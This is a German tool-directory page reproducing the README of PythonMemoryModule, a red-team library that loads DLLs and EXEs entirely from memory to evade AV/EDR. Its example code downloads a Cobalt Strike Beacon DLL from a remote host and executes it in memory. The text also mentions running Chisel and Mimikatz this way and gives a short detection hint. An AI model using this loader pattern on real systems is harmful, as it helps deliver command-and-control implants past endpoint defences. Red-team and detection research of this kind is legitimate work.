Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PythonMemoryModule — Reine-Python-Implementierung der MemoryModule-Technik zum vollständigen Laden von DLLs und unmanaged EXE-Dateien aus dem Speicher. | Kitploit
Tools/GitHubGitHub/naksyn/pythonmemorymodule
Exploit-FrameworksPenetrationstestsRed Teaming
GitHubnaksyn/pythonmemorymodule

PythonMemoryModule

Reine-Python-Implementierung der MemoryModule-Technik zum vollständigen Laden von DLLs und unmanaged EXE-Dateien aus dem Speicher.

Repository anzeigen
34052vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Unterstützte Python-Versionen Twitter

PythonMemoryModule

Reine Python-Implementierung der MemoryModule-Technik, um eine DLL oder nicht verwaltete EXE vollständig aus dem Speicher zu laden

immagine
"Python memory module" KI-generiertes Bild - hotpot.ai

Was ist das

PythonMemoryModule ist eine Python-ctypes-Portierung der MemoryModule-Technik, die ursprünglich von Joachim Bauch veröffentlicht wurde. Es kann eine DLL oder eine nicht verwaltete EXE mit Python laden, ohne dass eine externe Bibliothek (pyd) erforderlich ist, und bietet (teilweise) Unterstützung für die Übergabe von Befehlszeilenparametern.

Es nutzt pefile zum Parsen von PE-Headern, PythonForWindows für den Zugriff auf Prozessparameter und ctypes für die schweren Aufgaben. Das Tool war ursprünglich als Pyramid-Modul gedacht, um Umgehung von AV/EDR zu ermöglichen, indem DLL/EXE-Payloads vollständig aus dem Speicher in python.exe geladen werden. Es sind jedoch auch andere Anwendungsfälle möglich (IP-Schutz, In-Memory-Laden von pyds, Ableger für andere verdecktere Techniken), daher habe ich mich entschieden, ein eigenes Repo zu erstellen.

Warum es nützlich sein kann

  1. Es ermöglicht im Wesentlichen die Anwendung der MemoryModule-Technik vollständig in der interpretierten Python-Sprache, sodass eine DLL aus einem Speicherpuffer mit der standardmäßigen signierten python.exe-Binärdatei geladen werden kann, ohne dass externer Code oder Bibliotheken (wie pymemorymodule-Bindungen) auf die Festplatte geschrieben werden müssen, die von AV/EDR erkannt werden oder Misstrauen erregen könnten.
  2. Die Verwendung der MemoryModule-Technik in Ladeprogrammen aus kompilierten Sprachen würde erfordern, den MemoryModule-Code in die Ladeprogramme selbst einzubetten. Dies kann durch die Verwendung der interpretierten Python-Sprache und PythonMemoryModule vermieden werden, da der Code dynamisch und im Speicher ausgeführt werden kann.
  3. Sie können ein gewisses Maß an Schutz des geistigen Eigentums erreichen, indem Sie DLLs, die vor neugierigen Blicken verborgen werden sollen, dynamisch aus dem Speicher herunterladen, entschlüsseln und laden. Beachten Sie jedoch, dass die DLLs immer noch aus dem Speicher wiederhergestellt und rückentwickelt werden können, aber zumindest würde dies vom Angreifer mehr Aufwand erfordern.
  4. Sie können eine zustandslose (stageless) Payload-DLL laden, ohne eine Injektion oder Shellcode-Ausführung durchzuführen. Der Ladevorgang imitiert die LoadLibrary-Windows-API (die einen Pfad auf der Festplatte als Eingabe erwartet), ohne sie tatsächlich aufzurufen, und arbeitet im Speicher.

Wie man es verwendet

Beispiel 1

Im folgenden Beispiel wird eine zustandslose Cobalt Strike Beacon DLL heruntergeladen (nicht auf der Festplatte gespeichert), in den Speicher geladen und durch Aufrufen des Einstiegspunkts gestartet.

root@kitploit:~
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

Hinweis: Wenn Sie Staging in Ihrem malleable Profile verwenden, könnte die DLL nicht mit LoadLibrary geladen werden, daher wird MemoryModule nicht funktionieren.

Beispiel 2

Im folgenden Beispiel verwenden wir die Funktionalität zur Übergabe von Befehlszeilenparametern, um Chisel im Speicher auszuführen.

https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7

Übergabe von Befehlszeilenparametern - Teilweise Unterstützung

Diese Technik wurde implementiert, indem der CommandLine-Parameter im PEB zur Laufzeit überschrieben wird. Dies funktioniert nicht mit jeder ausführbaren Datei, da es davon abhängt, welche Funktionen zur Übergabe von Argumenten verwendet werden.

Im Allgemeinen wäre für eine universell funktionierende Technik das Hooking von GetCommandlineA, GetCommandlineW, __getmainargs und __wgetmainargs erforderlich, da das PEB-Stomping nicht alle Fälle abdeckt. Weitere Details hier

Bei meinen Tests stellte ich fest, dass Mimikatz und mehrere Go-Binärdateien nur mit PEB-Stomping funktionieren, während die Übergabe von Befehlszeilenparametern allein durch PEB-Stomping bei mit MinGW und Visual Studio kompilierten Binärdateien wahrscheinlich nicht funktioniert.

Wie man es erkennt

Die Verwendung der MemoryModule-Technik respektiert größtenteils die Abschnittsberechtigungen der Ziel-DLL und vermeidet den lauten RWX-Ansatz. Allerdings wird im Programmspeicher ein privater Commit vorhanden sein, der nicht durch eine DLL auf der Festplatte abgesichert ist, und dies ist ein verräterisches Zeichen von MemoryModule.

Tool herunterladen